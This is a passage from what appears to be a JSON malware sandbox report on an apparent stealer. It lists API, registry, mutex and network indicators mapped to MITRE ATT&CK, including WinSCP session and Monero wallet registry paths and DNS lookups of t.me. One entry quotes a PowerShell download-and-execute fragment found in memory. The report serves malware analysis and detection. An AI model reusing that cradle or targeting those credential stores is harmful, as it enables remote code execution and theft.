\"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"RegAsm.exe\" called \"CreateDirectoryA\" with parameter %ALLUSERSPROFILE%\\GHIJJJEGDBFH (UID: 00000000-00001468)\n \"RegAsm.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00001468)\n \"RegAsm.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00001468)\n \"RegAsm.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files (UID: 00000000-00001468)\n \"RegAsm.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00001468)\n \"RegAsm.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00001468)\n \"RegAsm.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\History (UID: 00000000-00001468)\n \"RegAsm.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches (UID: 00000000-00001468)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ocsp.godaddy.com\"\n \"crl.godaddy.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004412.00000000.80105.01EA2000.00000040.mdmp, 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"083794,3484,3142,,CreateProcessA,kernel32.dll,\"252:06:24.024\",RX=0,PX=0\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004412.00000000.80112.00370000.00000004.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"00001468.000005BC.4589083.0043D000.wprm\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; File: \"00001468.000005BC.4588582.00430000.wprm\")\n Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process 1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n Process RegAsm.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process RegAsm.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0\" (Indicator: \"mozilla/5.0 (\"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found string \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"\"System\\CurrentControlSet\\Control\\Nls\\RegionMapping\" in Source: 00000000-00004412.00000000.80105.01EA2000.00000040.mdmp\n \"REGISTRY\\USER\\S-1-5-21-2092356043-4041700817-663127204-1001\\Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\" in Source: 00000000-00004412.00000000.80112.00370000.00000004.mdmp\n \"SOFTWARE\\Microsoft\\Cryptography\" in Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\n \"Software\\Martin Prikryl\\WinSCP 2\\Configuration\" in Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\n \"Software\\Martin Prikryl\\WinSCP 2\\Sessions\" in Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\n \"SOFTWARE\\monero-project\\monero-core\" in Source: 00000000-00004412.00000000.80112.02EA0000.00000004.mdmp","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$3d","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"RegAsm.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 753A0000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"0d000e00fe02406b@ADVAPI32.dll\"\n \"0b000c00cc02406b@ADVAPI32.dll\"\n \"10001100da02406b@ADVAPI32.dll\"\n \"150016002073ca68@ADVAPI32.dll\"\n \"0e000f00e473ca68@ADVAPI32.dll\"\n \"0e000f005074ca68@ADVAPI32.dll\"\n \"11001200d47dca68@ADVAPI32.dll\"\n \"110012007c7eca68@ADVAPI32.dll\"\n \"12001300cc7eca68@ADVAPI32.dll\"\n \"12001300387fca68@ADVAPI32.dll\"\n \"14001500e4b7ca68@ADVAPI32.dll\"\n \"1400150000b8ca68@ADVAPI32.dll\"\n \"140015001cb8ca68@ADVAPI32.dll\"\n \"1700180038b8ca68@ADVAPI32.dll\"\n \"0d000e0054b8ca68@ADVAPI32.dll\"\n \"1100120064b8ca68@ADVAPI32.dll\"\n \"110012007cb8ca68@ADVAPI32.dll\"\n \"0f001000ecb9ca68@ADVAPI32.dll\"\n \"1400150038baca68@ADVAPI32.dll\"\n \"1400150054baca68@ADVAPI32.dll\"\n \"0c000d00a8baca68@ADVAPI32.dll\"\n \"0c000d00b8baca68@ADVAPI32.dll\"\n \"0e000f00c8baca68@ADVAPI32.dll\"\n \"0e000f00dcbaca68@ADVAPI32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"Found string \"-nop -c \"iex(New-Object Net.WebClient).DownloadString('\" (Indicator: \"New-Object\"; File: \"00001468.000005BC.4587958.00401000.wprm\")\n Found string \"-nop -c \"iex(New-Object Net.WebClient).DownloadString('\" (Indicator: \"New-Object\"; Source: \"00000000-00004412.00000000.80112.02EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"crl.godaddy.com\"\n \"ocsp.godaddy.com\"\n \"t.me\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a7bc4b2e7e5f4cdec0a1a63"}]},{"level":"informative","category":"General","name":"References JavaScript(s)","description":"Found string \"ndPlayerLevel lvl_0\">0